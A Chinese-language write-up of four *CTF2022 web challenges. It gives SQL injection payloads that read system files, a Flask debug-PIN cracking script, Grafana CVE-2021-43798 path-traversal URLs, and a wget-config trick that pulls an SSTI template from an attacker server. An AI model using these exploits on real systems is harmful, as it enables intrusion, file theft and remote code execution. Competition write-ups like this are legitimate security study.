XCTF *CTF2022 Writeup

文章首发于奇安信攻防社区: https://forum.butian.net/share/1511

oh-my-notepro

登录没有做限制,仅与登录的用户名有关

登陆后创建文件,并进行访问view?note_id=XXXX,此时修改note_id的值会发生报错,并且进入到flaskDebug

image-20220417174814841

Debug反馈的报错中可知这里存在执行了SQL语句,测试后发现存在SQL注入,Payload为/view?note_id=-1'union select 1,2,3,4,5--+

这里flask是开启了Debug,存在计算PIN码导致任意代码执行的漏洞。因为存在SQL联合查询,一开始想直接通过load_file()函数直接读取文件,但发现不行,查看了@@secure_file_priv发现设置了目录

这里可以使用load data local infile进行文件读取,它是不受@@secure_file_priv,但是它有个条件是需要堆叠注入才行(不过这里是存在堆叠的)

1
CREATE TABLE Dontt(fake VARCHAR(1000));load data local infile "/etc/passwd" into table Dontt FIELDS TERMINATED BY '\n';

新建一张表,然后将文件的内容导入表中,最后使用联合查询查看表中内容即可

接着读取文件计算PIN码,不过这里PIN码的计算是有区分的,Python3.8之前是使用MD5进行加密,之后是使用sha1进行加密

1
2
3
4
5
6
需要读取的文件
计算机当前用户: /etc/passwd
Flask: /app/app.py
当前网络的mac地址的十进制: /sys/class/net/eth0/address
机器的ID: /proc/self/cgroup
machine-id: /etc/machine-id

不过靶机每次重启只会更新/proc/self/cgroup/sys/class/net/eth0/address,所以编写脚本来快速获取PIN码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import hashlib
from itertools import chain
import requests
import re

burp0_url = "http://121.37.153.47:5002/view?note_id=5kd3y85k2v7kzse27fn46p723i7t4jxp%27;CREATE%20TABLE%20Dontt(fake%20VARCHAR(1000));load%20data%20local%20infile%20%22/sys/class/net/eth0/address%22%20into%20table%20Dontt%20FIELDS%20TERMINATED%20BY%20%27\\n%27;load%20data%20local%20infile%20%22/proc/self/cgroup%22%20into%20table%20Dontt%20FIELDS%20TERMINATED%20BY%20%27\\n%27;--+"
burp0_cookies = {"session": "eyJjc3JmX3Rva2VuIjoiZDY4N2FhZjBjMGJhYWZiZjVkOTY0ZGZiMjFiYTdmOTVmYmIyMGY0MSIsInVzZXJuYW1lIjoiYSJ9.YlqpVA.Fl8s8nedhPqsVRujiNg7h8ZgZp8"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://121.37.153.47:5002/index", "Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

burp1_url = "http://121.37.153.47:5002/view?note_id=5p%27union%20select%201,2,3,group_concat(fake),5%20from%20Dontt--+"

res = requests.get(burp1_url, headers=burp0_headers, cookies=burp0_cookies).text
x = re.findall("(.{17}),12:devices:/docker/(\w{64})",res)

mac = x[0][0]
ip = x[0][1]

probably_public_bits = [
'ctf',
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]

mac = mac.replace(':', '')
mac = str(int(mac, base=16))

private_bits = [
mac,
'1cc402dd0e11d5ae18db04a6de87223d' + ip
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

注:此处发言不一定准确,如果有任何错误欢迎联系笔者纠正

这里的PIN码好像是只有第一个输入的才能使用,后面输入的不能执行代码只能报错

不知道是否为上述机制的问题,如果是的话这个静态环境的问题让人有点小闹心,笔者从下午弄到了凌晨才成功执行了代码

最后就是导入os库,然后执行命令

image-20220417020844827

image-20220417020859080

oh-my-lotto

给了Docker环境,有代码的题目真好

关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
flag = os.getenv('flag')
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''
try:
lotto_key = lotto_key.upper()
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
os.system('wget --content-disposition -N lotto')

if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast == lotto_result:
return flag

可以修改一个环境变量的参数,然后会执行wget命令,最后比较/app/lotto_result.txt/app/guess/forecast.txt文件内容是否相等

如果不进行文件下载的话,/app/lotto_result.txt不存在,则它会用result作为替代,这样比较的就是一个固定值,而不用预测了

因为这里的wget是相对路径,他会去环境变量中找PATH从而确定绝对路径然后执行命令。这里只需要替换PATH值,导致wget执行失败

image-20220417195858017

然后就发现了一个大坑,Python3中bytesstr类型尽管值一样,类型不同仍然是False

image-20220417200156210

所以这里需要用到/result路由可以来解决,该路由的作用是查看前一次随机数

所以这里需要先让它生成一次随机数,然后查看随机数,接着再利用上述的方式即可

image-20220417200914217

查看随机数

image-20220417201136709

这里上传文件时需要注意,要把\r删点,不然两者依然是不相等的

最后修改PATH环境变量,获取flag

image-20220417020920307

oh-my-grafana

grafana版本是8.2.6,存在CVE-2021-43798任意文件读取的漏洞

这里需要一个存在的插件地址,受影响的插件大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd

可以利用该漏洞读取/etc/grafana/grafana.ini获取admin_password进行登录

image-20220417202231910

接着可以看到一个Mysql的数据源

image-20220417202730619

然后因为是公共环境,点击输入框就会自己跳出相应的表名和列名,最后执行即可(这里应该蹭到车)

image-20220417020942210

oh-my-lotto-revenge

升级版,最主要的差别:这里即使两个文件相同也不会返回flag,所以出题人应该是想要让人Getshell获取flag

这里主要参考文章:https://www.gnu.org/software/wget/manual/wget.html

在其第6点说明了wget存在一个配置文件,可以利用该配置文件设置参数(这些参数可以在文档下面找到),wget执行时,会去加载配置文件的参数,该配置文件也可以由自己设置

1
WGETRC = filename

这里主要用到的参数有两个

1
2
input = http://ip:port/file
output_document = templates/index.html

设置input为了让靶机去下载vps上的文件,output_document则是设置下载的文件该存在哪里,这里直接修改模板文件,由于没有进行过滤,直接用最简单的Payload即可

1
{{lipsum.__globals__.__getitem__("os").popen("env").read()}}

将上面的内容存在vps上,并在当前文件夹中开启HTTP服务

image-20220417205703673

上传配置文件内容

最后修改WGETRC=/app/guess/forecast.txt,访问/获取flag

image-20220417021020093

这里一开始是想用post_file标签直接将/proc/self/environ文件外带出来的,但是测试发现并不行(不知道是不是权限的问题),但是进入Docker中是可以读取该文件的,求知道的师傅解答一下!!!

image-20220417210854970